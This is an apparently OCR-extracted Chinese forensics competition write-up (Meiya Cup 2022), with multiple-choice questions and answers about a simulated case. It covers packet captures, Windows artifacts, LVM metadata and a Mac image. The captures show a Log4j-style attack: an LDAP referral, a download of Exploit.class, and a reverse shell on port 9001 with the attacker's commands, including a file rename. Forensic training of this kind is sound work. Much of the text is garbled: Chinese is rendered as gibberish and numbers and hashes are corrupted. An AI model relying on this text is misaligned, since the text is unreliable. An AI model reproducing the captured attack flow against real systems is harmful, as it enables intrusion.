103 107.592873  10.0.66.184 61.238.217.108 Tcp /ACK] Seq=15 Ack=15 Win=64256 Len=69 TSval=115740548 TSecr=3377862309
104 107.614189  61.238.217.108 10.0.66.184 Tcp Seq=15 Ack=84 Win=65152 Len=0 TSval=3377862321 TSecr=115740548
105 107.629134  61.238.217.108 10.0.66.184 Tcp ACK] Seq=15 Ack=84 Win=65152 Len=150 TSval=3377862342 TSecr=115740548
106 107.629440  61.238.217.108 10.0.66.184 TP
X¢EF) WEE) WEV) BEEG) MENQ SITA) SBHS) WEY) AW TRN) ®sH)
AR J@=PRAAe»TFEEaaal
N[merises . <cul/> =Kk
No.  Time Source Destination Protocol  Length Info |—]
104 107.614189  61.238.217.108 10.0.66.184 Tcp 66 1389 > 46858 [ACK] Seq=15 Ack=84 Win=65152 Len=0 TSval=3377862321 TSecr=115740548
105 107.629134  61.238.217.108 10.0.66.184 Tcp 216 1389 > 46858 [PSH, ACK] Seq=15 Ack=84 Win=65152 Len=150 TSval=3377862342 TSecr=115740548 —
106 107.629440  61.238.217.108 10.0.66.184 Tcp 80 1389 > 46858 [PSH, ACK] Seq=165 Ack=84 Win=65152 Len=14 TSval=3377862342 TSecr=115740548
107 107.629475  10.0.66.184 61.238.217.108 Tcp 66 46858 > 1389 [ACK] Seq=84 Ack=179 Win=64128 Len=0 TSval=115740585 TSecr=3377862342
110 107.642792  10.0.66.184 61.238.217.108 Tcp 66 54410 > 8000 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=115740598 TSecr=3377862357
111 107.643008  _10.0.66.184 61.238.217.108 HTTP 281 GET /Exploit.class HTTP/1.1 —
112 107.654991  61.238.217.108 T0-0- 56197 Ico £6.2000 254410 [ACK] —Ack=216 Win=65024 Len=0 TSval=3377862372 TSecr=115740599
113 107.659224  61.238.217.108 10.0.66.184 Tcp 263 8000 > 54410 [PSH, ACK] Seq=1 Ack=216 Win=65024 Len=197 TSval=3377862375 TSecr-115740599 o=
114 107.659233  10.0.66.184 61.238.217.108 Tcp 66 54410 > 8000 [ACK] Seq=216 Ack=198 Win=64128 Len=0 TSval=115740615 TSecr=3377862375
115 107.667305  61.238.217.108 10.0.66.184 HTTP 1429 HTTP/1.0 200 OK (application/java-vm)
116 107.667317  10.0.66.184 61.238.217.108 Tcp 66 54410 > 8000 [ACK] Seq=216 Ack=1562 Win=64128 Len=0 TSval=115740623 TSecr=3377862376
M AGC Server 2.pcap = a] X
A4 (F BE) ¥ )] ) HHTA) i EBIE(Y) £(W) ) EN(H)
AR @ =PRBIA«SEF S S QQ Qi
N[ BErgEs .. <Cul-/> = -]+
No. Time Source Destination Protocol  Length Info |—]
113 107.659224  61.238.217.108 10.0.66.184 Tcp 263 8000 > 54410 [PSH, ACK] Seq=1 Ack=216 Win=65024 Len=197 TSval=3377862375 TSecr=115740599
114 107.659233  10.0.66.184 61.238.217.108 Tcp 66 54410 > 8000 [ACK] Seq=216 Ack=198 Win=64128 Len=0 TSval=115740615 TSecr=3377862375
115 107.667305  61.238.217.108 10.0.66.184 HTTP 1429 HTTP/1.0 200 OK (application/java-vm)
116 107.667317  10.0.66.184 61.238.217.108 Tcp 66 54410 > 8000 [ACK] Seq=216 Ack=1562 Win=64128 Len=@ TSval=115740623 TSecr=3377862376

119 107.678164 61.238.217.108 10.0.66.184

121 107.678690 10.0.66.184 61.238.217.108

122 112.074560 10.0.66.194 10.0.66.184
123 112.074594 10.0.66.184 10.0.66.194
124 117.568241 61.238.217.108 10.0.66.184
125 117.568295 10.0.66.184 61.238.217.108
126 118.052730 61.238.217.108 10.0.66.184
127 118.052761 10.0.66.184 61.238.217.108

66 [TCP Keep-Alive ACK
66 [TCP Keep-Alive] 48
66 [TCP Keep-Alive ACy

66 492

64 > 9001 [ACK]

1

080 > 3315 [ACK] Seq=1 Ack=2 Win=501 Len=0 SLE=1 SRE=2
p4 > 8080 [ACK] Seq=614 Ack=1 Win=64256 Len=0 TSval=3377872263 TSecr=
8080 » 48054 [ACK] Seq=1 Ack=615 Win=64640 Len=0 TSval=115750524 TSe

f, ACK] Seg=1 Ack=1 Win=65280 Len=3 TSval=3377872753 TSecr=115740634

Seq=1 Ack=4 Win=64256 Len=0 TSval=115751008 TSecr=3377872753

24.[15=55) £ LiR1TEE, 1PiEiE61.238.217.108FIBIH{NEO (Port) MAGCHRS38810.0.66.1844& H

E<? (LARRHAEFEZ) (153)
&2 9001

BEEEHORERITCPAR, RMpSHAT:



M Wireshark - JBES TCP 5 (tcp.stream eq 14) - AGC_Server_2.pcap

1s

LICENSE
NOTICE
RELEASE-NOTES
RUNNING.txt
bin

conf
include

1ib

logs
native-jni-1ib
temp
webapps
work

pwd
/usr/local/tomcat
whoami

root

cd /

1s

bin

boot

dev

etc

home

1ib

1ib64

media

mnt

opt

proc

4

50 AT A, 38 SRR AE, 37 turn(s).

REEEXNREEARE, FEA9001im0:

M AGC Server_2.pcap

EBIER(Y)

AW I@®|= QQ QT

(Rtcpstream eq 14

No.  Time Source Destination Protocol  Length Info
121 107.678690  10.0.66.184 61.238.217.108 Tcp 66 49264 > 9001 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval-115740634 TSecr=3377862395
126 118.052730  61.238.217.108 10 TP 69 9001 > 49264 [PSH, ACK] Seq=1 Ack=1 Win=65280 Len=3 TSval=3377872753 TSecr=115740634
127 118.052761 MMMWW Ack=4 Win=64256 Len=0 TSval=115751008 TSecr=3377872753
128 118.165526  10.0.66.184 61.238.217.108 TP 67 49264 > 9001 [PSH, ACK] Seq=1 Ack=4 Win=64256 Len=1 TSval=115751121 TSecr=3377872753
129 118.178720  61.238.217.108 10.0.66.184 TP 66 9001 > 49264 [ACK] Seq=4 Ack=2 Win=65280 Len=0 TSval-3377872891 TSecr=115751121
130 118.178735  10.0.66.184 61.238.217.108 Tcp 165 49264 > 9001 [PSH, ACK] Seq=2 Ack=4 Win=64256 Len=99 TSval=115751134 TSecr=3377872891
131 118.194256  61.238.217.108 10.0.66.184 TP 66 9001 > 49264 [ACK] Seq=4 Ack=101 Win=65280 Len=0 TSval=3377872900 TSecr=115751134
132 123.155656  61.238.217.108 10.0.66.184 Tcp 70 9001 > 49264 [PSH, ACK] Seq=4 Ack=101 Win=65280 Len=4 TSval=3377877861 TSecr=115751134
133 123.155685  10.0.66.184 61.238.217.108 Tcp 66 49264 > 9001 [ACK] Seq=101 Ack=8 Win=64256 Len=0 TSval=115756111 TSecr=3377877861
134 123.249314  10.0.66.184 61.238.217.108 Tcp 67 49264 > 9001 [PSH, ACK] Seq=101 Ack=8 Win=64256 Len=1 TSval=115756205 TSecr=3377877861
135 123.465603  10.0.66.184 61.238.217.108 Tcp 83 49264 > 9001 [PSH, ACK] Seq=102 Ack=8 Win=64256 Len=17 TSval=115756421 TSecr=3377877861
136 123.505738  61.238.217.108 10.0.66.184 TP 66 9001 > 49264 [ACK] Seq=8 Ack=119 Win=65280 Len=0 TSval=3377878207 TSecr=115756421
137 126.986877  61.238.217.108 10.0.66.184 TP 73 9001 > 49264 [PSH, ACK] Seq=8 Ack=119 Win=65280 Len=7 TSval=3377881691 TSecr=115756421

25.[Z1%7] AGCHR558510.0.66.184BF—/"AGCH: (Directory), BHIFHBZ (Sub Directory) 88

PATI—4? (293)
A. Accounting
B. Picture

C. Staff

D. Sambashare
E. Retail

= ACE

1Bz FIARBITCPRENE] :



i3
sambashare
cd sambashare
1s

AGC

cd AGC

1s
Accounting

Personnel
Retail
Share

cd Staff
1s

26.[Zi%RH] AMSEiHNAGCIRS38810.0.66.184f5, fRIIHMITIA TIILLISS? (253)
A. il T readme.txtAE

B. BB T =/MER

C. iFxT—4"B 3 (Directory)

D. EHERNE

E. B TR/ Mxtids

%= DE

EEIBLTCPREmMmS, B — NRIRRERERE,
ARE IR readme.pdfX i, FHigBtafireadme.txt;
BREARMER T 2MEZ

CeBMRER

D. EIE#

27.[iEE] NMEEDEEE— MERTIAGCIRSS2510.0.66.184FHF B M (Rename), XMERMIEF
kBRWEMTA? (193)

A. cGhvdG9zT0Zyb2NreQ==

B. Finanical.xls

C. readme.txt

D. anonymous

cGhvdG9zTOZyb2NreQ==

mv cGhvdG9zT@Zyb2NreQ== readme.pdf
1s
readme.pdf



28.[ERifRE] R LR, IZAERREEZ BRIRH A2 (293)
A. 2022-10-21 08:10:30 (UTC+0)
B. 2022-10-21 16:19:39 (UTC+0)
C. 2022-10-22 08:10:30 (UTC+0)
D. 2022-10-22 14:22:06 (UTC+0)
E. 2022-10-22 16:19:39 (UTC+0)

L
%: B

XM pdf SR LARwiresharkSH, tBaJLABforemosty BEEXEERHTESE:

00000098.pdf EHE
R FIFA STH
file:f//home/mrl64 /S &/ ou Lqu t Sat_Nov__4_17_13_40_2023/pdf/00000098.pdf

macOS Version 12.6 (Build 21G115) Quartz PDFContext

22105210 28 A 1661195 39%
22F10A 218 28 f 166119573978

B

[t . &

tR1L :

ek

gk K A4, #\[8] (210
B& Javascript : &

Kih: 1.3 MB

REXWERE R, ERXCIENBERIZZUTF+8RIATE, BENSEXMAIUTF+OREE, Fr
LA R RSB BRI T,

29.[Ei%RA] A& LR, iZtHSRAISHA-256IGF/IERT4? (353)

A. a6eef1... ... 27364c
B. 54785c... ... fe86f0
C.961f2b... ... 647d55
D. a00e6c... ... dOeaab
E. PALESHE

EX: B

IR, X pdfiSMwiresharksh S, MNREBZESBEHRAIEhashEHRZEARIIAY:

PS 0:\Meiya_cup_ 2022\(31oup\Image\AGC\AGC pcap> certutil .\cGhvdG9zTOZyb2NreQ== SHA256
SHA256 A .\cGhvdG9zTOZyb2NreQ== [57

5”785CF7671875760€9E7d002326063adF8bu37a763aleF682ceﬁl2bCEFESBFG
CertUtil: -hashfile S REIHZE AL,

30.[Zi%E] BIEGERESER#{TON (BIRERRFUALEERET), UTHERXFESISMERR
1ETfR9? (593)
A. BEZRAASTENNRAGCEREMLE
B. (£ L EGIEYm
C. FAGCEHEVEAREEREH
D. i#@iZVPNHY{SRooneyZREBAYIPitbiE
E. S EISEMAGCERIAIMT



&2 ACDE
XENZABEIFNRE—&, Si9ERB#RTE 3 ACDE,

31.[ERi%RR] SHTAGC-CSITEH (Computer) BERVIAEERS (Windows) , BRISERRZREBIRIZEH
4? (IR UTC+8EZ) (353)

A. 2022-09-26 14:35:17

B. 2022-09-26 21:35:17

C. 2022-09-27 05:35:17

D. 2022-10-05 03:52:15

E. 2022-10-05 11:52:15

o

A

o

EETORI—EPER, EwindowsBMFRE T X FRALZRIEFIBE G :
Windows Vista, Windows 7. Windows Server 2008 R2. Windows 8.1f0Windows 10&2&EREEHE

Hrpig% T setupact. logXNMNHENHEE TEXLTEIRENER, BITMEE
\Windows.old\windows\Panther BR FHIHZE:

— (m] X
=) setuperr.log setupact.log x L

X wE BE &
LYLL-UT-LU 14,353,540, LU oo LUSLUI ErLIGL1s€, CACLULLUICHELIEr tiat1se

2022-99-26 14:33:48, Info CBS CbsCoreFinalize: ComponentAnalyzerfFinalize

2022-09-26 14:33:48, Info CBS CbsCoreFinalize: PackageTrackerFinalize

2022-09-26 14:33:48, Info CBS ChsCoreFinalize: CoreResourcesUnload

2022-99-26 14:33:48, Info CBS CbsCoreFinalize: SessionManagerFinalize

2022-09-26 14:33:48, Info CBS CbsCoreFinalize: CapabilityManagerFinalize

2022-09-26 14:33:48, Info CBS CbsCoreFinalize: PublicObjectMonitorFinalize

2022-09-26 14:33:48, Info CBS CbhscoreFinalize: Enter vCoreInitializelock

2022-09-26 14:33:48, Info CBS CbsCoreFinalize: WcpUnload

2022-09-26 14:33:48, Info CBS CbsCoreFinalize: DrupUnload

2022-09-26 14:33:48, Info CBS CbscCoreFinalize: cfgMgr32unload
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2022-09-26 14:33:48, Info CBS CbsCoreFinalize: AppContainerUnload
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2022-99-26 14:33:48, Info CBS Ending Tiworker finalization.

2022-09-26 14:34:34, Info CBS Trusted Installer signaled for shutdown, going to exit.

2022-09-26 14:34:34, Info CBS Trusted Installer is shutting down because: SHUTDOWN_REASON_NOTIFICATION:PRESHUTDOWN
2022-99-26 14:34:34, Info CBS Ending the TrustedInstaller main loop.
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2022-09-26 14:34:34, Info CBS Winlogon: Stopping notify server

2022-09-26 14:34:34, Info CBS Winlogon: Unloading SysNotify DLL

2022-09-26 14:34:34, Info CBS Ending TrustedInstaller finalization.
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&5 ¢J Program Files (x86) B s P XS BEAN... T i BEATE BT MERAIE) T SO A
#e (0 ProgramData 25 [IMicrosoftEdgeSe... exe 1,580,840  2022-10-0503:56:32  2022-09-27 06:31:51 2022-09-27 06:31:57
#5(J Recovery 26 [ MicrosoftEdgesSe.. Identifier 29
P e System Volume Information 27 ¢INUCTixDN-HDMI_... 4,096 2022-10-0503:56:36  2022-09-27 06:53:28 2022-09-27 06:53:29
e Users 28 BNUC7ixDN-HDMI_. zip 4,983,111 2022-10-05 03:56:31 2022-09-27 06:43:55 2022-09-27 06:43:56 ZipfE
@ ¢ admin 29 [INUCTixDN-HDMI_. Identifier 26
© ¢ All users 30 [Joptions_installer.exe exe 292,165,944  2022-10-0503:56:31  2022-09-28 15:01:28 2022-09-28 15:02:21
=e0 ¢ carson 31 [Joptions_installer Identifier 29
e .ms-ad 32 [ putty-64bit-0.77-in.. 3344896  2022-10-0503:56:31  2022-09-30 08:30:14 2022-09-30 08:30:23 Word
Be ¢ AppData 33 []putty-64bit-0.77-in. 29
¢ Application Data 34 [Jsvchostexe 773,684 2022-10-0503:56:31  2022-09-29 19:39:56 2022-09-29 19:39:59
=¢J Contacts 35 [)svchostexesZone.l \dentifier 26
o1& Cookies 36 [1Sw_DvDs_Office P 150 997,179,392 2022-09-2707:03:53  2022-09-27 07:03:53 2022-09-27 07:04:53 =
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ARATEA], svchost.exe@ Windows ?521?%2}&%’9"%%32# MEREAXIERIFRREZ: svchost.exe 2
M DLL FiE{TRIBRSZAIB A ENHERTR, XAIUSEFMETE C: \windows\System32\svchost. exe ]
C:\windows\Syswow64\svchost.exe H, ﬁ'ﬁZ‘Atle)J_downloadi RN 2R E BRI
%, SHINEINES:

& C: \Wlndows\.system32\cmd exe E@

C:\Users\Malware\Desktop>suchost .exe

nimscan.exe —p:<porti>—<port¥Y> <host> [--timeout:<{time>] [-T:<limit
descriptors>] [-t:<number of threads>] [-al

nimscan exe —p:<port> <host>

nlmscan exe —p:<portl> <port2> <portl> <host>

——help Show this screen.

Ports to scan. [default: 1-65,535]

FENimScan,
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ERAHDERR)
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 BEANT AR Case01-20231104-154436
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& [10:AMeiya_cup_ \AGC_Desktop\AGC_Desktop.e!
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©EEEERET0
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= [CEFREQ2)
FRMAEIERQ)
EREHERIR(2)
w @ ERER(1)
B EAERSTE(1)
Bl BhRE(1)
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A BUEASD
XEEHF) RES) WE(V) EREP) TAM ®|HH)

B m

XETE REEE BUIEE TE=

ptxt al B2 S XAHEIR BIEEATIE] SiEIRIE] SIS EXEE HERATIE]
cERmRER(3) [ IMPER12022.09.301608:50  022:10-1417:59:50

=1 [l0\Meiya_cup 2
@ B EBRTA(1)
© 0 RARE()
o [OIFBFmER)
= @ ERER() 8
© 1 EIEHEEH(1)

setuperr.log

=@ [10\Meiya_cup_2022\Group\image\KingHo\t 3 %8 HE

CIES 55 6]
= (@)
=8 SEEHE)

zip.txt
[ pi_zip.txt

ip.txt

Interface: 192.168.182.132 --- @0x9

2010-09-09 06:43:30
2010-09-09 06:43:30

2010-09-09 O¢
2010-09-09 06:43:30

2010-09-09 06:43:30
2010-09-09 06:43:30

o3 Internet Address Physical Address Type
L/ 192.168.182.1 6c-cd-d6-da-f3-6e dynamic
192.168.182.130 -61-ae-c0-90-45 dynamic
192.168. .134 3e-00-08-45-42-de +
192.168.182.135 be-be-83-1a-ba-ds dynamic
192.168.182.136 ba-b5-2f-bf-87-23 dynamic
192.168.182.255 ff-ff-ff-ff-ff-ff static
224.9.0.22 01-00-5e-00-00-16 static
224.0.0.251 01-00-5e-00-00-fb static
224.0.0.252 01-00-5e-00-00-fc static
224.0.0.253 01-00-5e-00-00-fd static
239.255.255.250 01-00-5e-7f-ff-fa static
255.255.255.255 FE-FF-Ff-FF-ff-ff  static
wE pz hwa il mE B

43.[{HZ/] AGC-CSITENBRI—/BkEEFIZR Jumplist) BT HP ‘admin’ BERBICESF
(Notepad) 3T 7 —ANXFHYE, XN NFRMSHA-256I8FERMA? UASEXRITRI{aEE
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K
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M

320A98F6519748D16B8870EFAD8A606D656C5A09CF2F660AA35EBF6495824CB1 (Fiwifs)

E863C3FBD1BAE02E11C3B57AEE7DC4B7883BDE342913F55401BC559DE82B6586 (BEAER)

PE, EE—THILIIRER:

All Apps Documents Settings Photos Web More =
Best match
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“= Notepad
' App

Search the web
Notepad

L notepad - see web results > App

) Open

Recent

Ijip

XA ip.txt BYsha256FYER
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44.[50i%RH) REIRT B ROP 5b, ERBH AR MziwiEH] (Remote Control) AGC-CSitE#1? (1
)

A.VNC

B. Teamviewer

C. Anydesk

D. Splashtop Business Access

E. RemotePC

Z=x: B
BB R EERE R TeamViewerfSE T, MEXFHEE 8%, BBREBIEIE,

45.[{H%7H] AGC_ServerEELVM (Logical Volume Management iZi§&HHETE) A9 VG (Volume
Group ) ‘pve’ HBZVPE (Physical Extent #IE1R) ? (PARTRH{ALFEE) (153)

B 114147

{EFIR-StuidioH{TRAIDEEE, SHdsk, ABNEEUEAINER, EEWEEE:

wE v B2 v 84 v FE v T =JE3 orst=}
HERSE b virt-mdadm-agcOraw b

i EAAGC Server\virt-mdadm-agcD.raw Q | Rt
S5 5 Case01-20231107-181447 2EwE ~ AF v S v - AER v EEEE -
Ee o S e s MRS BN T PhiEETE BUEEATIE EHETaEl
e 1 @9%E1[hda0] 478,768,267,...
ol iR

o [ EVAGC Server\virt-mdadm-agc0.raw
& | swap 4 [l

= XA hpaiiil itz
000000001180 00 00 00 00 00 0O 00 00 00 0O 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000000001120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000000011C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O
00000000110 00 00 00 00 00 00 00 00 0 00 00 00 0O 00 00 00 0O 00 00 00 0O 00 00 00 00 00 00 00 00 00 00 0O .
000000001200 70 76 65 20 7B OA 69 €4 20 3D 20 22 63 4D 38 39 33 SA 2D 70 78 38 41 2D 32 43 78 71 2D 79 71 38 pve {.id = "cM893Z-pxBA-2Cxq-ygd
000000001220 39 2D 76 39 79 4F 2D 54 59 49 79 2D 70 43 63 41 68 51 22 OR 73 65 71 €E 6F 20 3D 20 38 OB €6 6F 9-v9yO-TYIx-pCcARQ”.seqno = 8.0
000000001240 72 6D 61 74 20 3D 20 22 €C 76 €D 32 22 OA 73 T4 €L 74 75 73 20 3D 20 SB 22 52 45 53 49 5A 45 41 rmat = "lvm2".status = ["RESIZEA
000000001260 42 4C 45 22 2C 20 22 52 45 41 44 22 2C 20 22 57 52 49 54 45 22 5D OA 66 6C 61 €7 73 20 3D 20 SB BLE", "READ", "WRITE"].flags = [
000000001280 5D OA 65 78 74 65 6E 74 SF 73 69 7A 65 20 3D 20 38 31 39 32 OA 6D 61 73 SF 6C 76 20 3D 20 30 OA ].extent_size = 8192.max lv = 0.
0000000012A0 €D 61 78 SF 70 76 20 3D 20 30 OB €D 65 74 61 €4 61 74 61 SF 63 6F 70 69 65 73 20 3D 20 30 0A OA max_pv = 0.metadata_copies = 0..
0000000012C0 70 6% 79 73 €9 63 €1 €C SF 76 €F €C 75 6D €5 73 20 7B UA OR 70 76 30 20 7B OA €9 64 20 3D 20 22 physical_volumes [..pv0 {.id = "
0000000012E0 37 41 6A 4B 33 7% 2D 79 42 39 37 2D 36 61 5A 42 2D 76 32 €9 34 2D 33 70 7A 76 2D 7€ 52 53 53 2D 7TAJK3x-yB9T-6aZB-v2id-3pzv-vRSS-
000000001300 €B 50 46 53 76 34 22 OR €4 65 76 €9 63 65 20 3D 20 22 2F €4 65 76 2F 73 64 61 33 22 OA OA 73 74 kPFSv4".device = "/dev/sda3”..st
000000001320 €1 74 75 73 20 3D 20 5B 22 41 4C 4C 4F 43 41 54 41 42 4C 45 22 5D OA 66 6C 61 67 73 20 3D 20 SB atus = ["ALLOCATABLE"].flags = [
000000001340 5D OA 64 €5 76 SF 73 €9 TA 65 20 3D 20 34 36 37 38 31 31 34 37 31 OR 70 65 5F 73 74 61 72 74 20 ].dev_size = 467811471.pe_start
000000001360 3D 20 32 30 34 3% OA 70 €5 SF €3 €F 75 6E 74 20 3D 20 35 37 31 30 35 OA 7D OA 0A 70 76 31 20 7B = 2048.pe_count = 57105.)..pvl |
000000001380 OR 69 64 20 3D 20 22 37 5% 33 44 €C 4B 2D 74 55 73 44 2D €7 36 6B 30 2D 45 33 46 32 2D 53 €4 30 .id = "7Y3DIK-tUxD-gék0-E3F2-5d0
0000000013R0 €F 2D 45 €6 €F 47 2D 6F &4 70 77 32 54 22 OR €4 65 76 69 €3 65 20 3D 20 22 2F 64 65 76 2F 6D 64 o-EfoG-odpw2T".device = */dev/md
0000000013C0 30 22 OA OR 73 74 61 74 75 73 20 3D 20 5B 22 41 4C 4C 4F 43 41 54 41 42 4C 45 22 SD OA 66 6C 61 0"..5tatus = ["ALLOCATEBLE"].fla
0000000013E0 €7 73 20 3D 20 SB SD OA €4 65 76 SF 73 69 7A €5 20 3D 20 39 33 35 30 39 34 32 37 32 OA 70 €5 SF gs = [].dev_size = 935094272.pe_
000000001400 73 74 61 72 74 20 3D 20 32 30 34 383 OA 70 65 SF 63 6F 75 €E 74 20 3D 20 31 31 34 31 34 37 0& 7D start = 2043.pe count = 114147.]
000000001420 OR 7D OA OR €C 6F 67 €9 €3 61 6C SF 76 6F 6C 75 6D 65 73 20 7B OA OA 73 77 61 70 20 7B 0A 69 64 olumes wap 1-1d
000000001440 20 3D 20 22 €9 51 55 €A 32 44 2D €5 36 34 41 2D 59 65 79 54 2D 75 4F 33 74 2D 39 72 41 34 2D 50 = "1QUi2D-e64A-YexT-ud3t-9ras-P
000000001460 59 SA 65 2D €5 59 63 €8 55 6B 22 OR 73 74 61 74 75 73 20 3D 20 5B 22 52 45 41 44 22 2C 20 22 57 ¥Ze-eYchUk".status = ["READ", "W
000000001480 52 49 54 45 22 2C 20 22 56 49 53 49 42 4C 45 22 5D OA €6 €C 61 67 73 20 3D 20 5B SD OA €3 72 €5 RITE", "VISIBLE"].flags = [].cre
0000000014R0 €1 74 69 €F €E SF 74 €9 €D 65 20 3D 20 31 36 36 33 38 34 32 35 32 34 OA 63 72 €5 61 74 69 6F 6E ation _time = 1663342524.creation
0000000014C0 SF 68 6F 73 74 20 3D 20 22 70 72 6F 73 6D 6F 78 22 OA 73 €5 67 6D 65 €E 74 5F 3 6F 75 6E 74 20 _host = "proxmox”.segment_count
0000000014E0 3D 20 31 OR OR 73 65 €7 €D 65 6E 74 31 20 78 OR 73 74 61 72 74 SF 65 73 74 65 6E 74 20 3D 20 30 = l..segmentl [.Start_extent = 0
000000001500 OA 65 78 74 €5 6E 74 SF €3 6F 75 €E 74 20 3D 20 32 30 34 38 OA OA 74 79 70 65 20 3D 20 22 73 74 .extent_count = 204%..Type = "ST
000000001520 72 69 70 €5 €4 22 OA 73 74 72 69 70 65 SF €3 €F 75 6E 74 20 3D 20 31 OA OA 73 74 72 65 70 €5 73 riped”.stripe_count = l..stripes
000000001540 20 3D 20 5B OR 22 70 76 30 22 2C 20 30 OA 5D OR 7D OA 7D OR OA 72 6F 6F 74 20 7B OA 65 64 20 3D = [."pv0", 0.].}.}..root {.id
000000001560 20 22 63 54 4F 4D 53 70 2D 73 69 €6 62 2D 50 77 49 34 2D 39 65 30 65 2D 4E 77 32 €B 2D 4E 4B 35 "cTOMSp-shfb-PwI4-9e0e-Nw2k-NKS
000000001580 50 2D 6E 76 €F 71 79 36 22 CA 73 74 61 74 75 73 20 3D 20 SB 22 52 45 41 44 22 2C 20 22 57 52 49 P-nvogy€”.status = ["READ", "WRL
0000000015A0 54 45 22 2C 20 22 56 49 53 4% 42 4C 45 22 5D OB 66 6C 61 €7 73 20 3D 20 5B 5D 0L 63 72 65 61 74 TE", "VISIBLE"].flags = [].creat
0000000015C0 €5 6F 6E SF 74 69 6D €5 20 3D 20 31 36 36 33 38 34 32 35 32 34 OA 63 72 65 61 74 69 6F 6E SF 68 ion_time = 1663842524.creation h
000000001SE0 €F 73 74 20 3D 20 22 70 72 6F 78 €D 6F 78 22 0A 73 65 67 6D 65 6E 74 ST 63 6F 75 €E 74 20 3D 20 0st = "proxmox”.segment_count =

46.[1HZ3/] AGC_ServerELVM ff LV(BEEH) pve-data” [T Z L ESELAIZR? (RBIES ‘%',
PARTHI{EE ) (353)

57.[8i%RE] EFIGRTEIERM A RS (File System) ? (153)
A. exFAT

B. APFS

C. HFS

D. HFS+

Z=:D

EOXEETT
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S = Case01-20231105-141859 2% v TH ~ BH - RE -
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i

1 [ $AllocationFile
; = e 2 [ $AttributesFile
E|..|:>E =8 O:\Meiya_cup_2022\Group\Image\KingHo\KingHo_Macbook\King, 3 [3 $CatalogFile
=@ 53X 1[hfsa0] 4 [ $ExtentsFile
ol King Ho 5 [F $StartupFile
) EEETE 6 ] King_Ho
7 Ol =8
8 = Fo8cE

BE I WAV s RN
EFr: 71 [hfsaol
PN i i
BEF: ITTTT G
FREE: 974, 700, 800
fngh mEE: 974, 700, 8OO

WEUE: 0
WEEL . FHEE
BEFINS:

SEERERIT : Case0l1-20231105-1418595\0: \Melva_cup_20224Group\Inage\KingHo\KingHo_Machook'\King HO MacBook Computer. E01% &K
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58.[Ei%RA] ERiEITEHANRIERS (Operating System) hRFZ2HA? (17)
A.10.4.11

B. 10.9.5

C.10.10.5

D. 10.11.6

Z=: D

EHBEERFHRRER:

* EIEAID
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B Q| m®  EWEE » King HO_MacBook Computerf01 » RABE » EAEEMac) b EHES
B L EFEE(546746) St v MARE | BRENRTH TR
& [ [10:\Meiya_cup_2022\Group\Image\KingHo\KingHo_Macbook\Kin¢ | = SR & E SBETHREE BRI
B 1 RRGREO11) 0 1 O=ssk Mac 0S X Mac 0S X 10.11.6 K 1[hfsa0]:\King_Ho\System\L... IE&
o O 2 [OzEes 10.11.6 Mac 0S X 10.11.6 5E1[hfsa0]:\King_Ho\System\L... [E#
0O 3  [OmsFns 5622010 Mac 0S X 10.11.6 43K 1[hfsa0]:\King_Ho\System\L... IE%
O 4 [OrE=mE 1983-2018 Apple Inc. Mac 0S X 10.11.6 5E1[hfsa0]:\King_Ho\System\L... [E#
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YRATHIR(T) 0O 8 [Oess=m~ sister Mac 0S X 10.11.6 %X1[hfsa0]:\King_Ho\Library\... IE#

WTTHUEFIR(542)

& TR (Mac)(71)
FUSBIREFART(Mac)(163)
[SImrm(139)

& FRHE5(8672)

SEDEHER(2)

59.[1H= /] ERGRTENIIBES D AR (BI5I5% ‘Guest’ )? (LANEHARFEIZ) (153)

E=x: 3

BEEMEEFNRFZHEFER, B85/ UsershiEFEl, —H=1, 2508Guest, sisterf]

wongkingho:
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6 WEHREO11) () 72 [lAutoTimeZoneDae.. _timezone 2016-02-26 06:50:23 210 Jvar/empty
8 1 WRFHESMac)(677) (J 73 [1Token Daemon _tokend 2016-02-26 06:50:23 91 Jvar/empty
WEHES(E) (J 74 [0 TrustEvaluation Ag... _trustevaluationagent ~ 2016-02-26 06:50:23 208 Jvar/empty
(! O 75 [ Unknown User _unknown 2016-02-26 06:50:23 99 Ivar/empty
b () 76 [ Update Sharing _update_sharing 2016-02-26 06:50:23 95 Jvar/empty
M () 77 [liPhone OS Device H... _usbmuxd 2016-02-26 06:50:23 213 var/db/lockdown
wm:osiﬁﬁ;ewsﬂ(zs) (J 78 [} Unix to Unix Copy P... _uucp 2016-02-26 06:50:23 4 Ivar/spool/uucp
VRERHCR(1) (J 79 [ Warm Daemon _warmd 2016-02-26 06:50:23 224 Ivar/empty
= [ @FFHUSIR(542) O s [Owi _wi 06:50:23 88 Jvar/empty
@ L B ZERIEMaq)71T) O 81 [1World Wide Webs... _www 2016-02-26 06:50:23 70 /Library/WebServer
FUSBIREERRIS(Mac)(163) (0 82 []System Services daemon 2016-02-26 06:50:24 1 Ivar/root
& [CIFPB(139) O 83 Guest User Guest 2022-07-1210:09:33 201 /Users/Guest
@ @ LFHER(8672) (J 84 [1Unprivileg 2016-02-26 06:50:24 Ivar/empty
) SEEHER(2) (J 85 [ System Administrator root 0:2 var/root
O SER(195) —_ =
BTETESH(0) (J 87 [JKingHoo Wong wongkmgho 2022-07-12 10:08:01 501 /Users/wongkingho
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61.[[H=&] EREMTBEINES L/ BE RIEZRICEH (Spotlight Search) ? (EARRH{AEFEE) (153)

7= 12

LERAS, IRHEEIERE, (TEEIRIEER,

62.[Fi%RA] HAFIRETBMER (Auto Login) [5, ERIGIHENMEERFRS-EMMEZ? 25)

A. manifest.plist

B. info.plist

C. PasswordPanel.strings
D. kcpassword

BE: D

BHCE:

MacOS EREIGE V4 kepassword BINNRZEEE - BRRRES

63. [k EREITEAYEREE (Login Password) 21472 (253)
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AILAA E—EREARE, BAEREX-waysFiE:
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S REEE(Mac)(2)
= & FRIZR(8672)
SLAIRHEI()
> HBAEERIT(195)
&+ MacMail(125)
3+ Mozilla Thunderbird (Mac)(70)
(18=#5#7(81379)
FER/EBRR(5)
B =IFEEFIR)
-u
[ {3kinghooOw0@gmail.com(4)
(IASZ{E}:%E(3)
EAHESTHE(T)
[ Sri453#1457428)

EAR

g

BREE

MABE

[71 kingHoo Wong

B ENE, thRREERMAEEREIIER iCloud HS? (253)

=] |
.

I8&

AR

=R

23
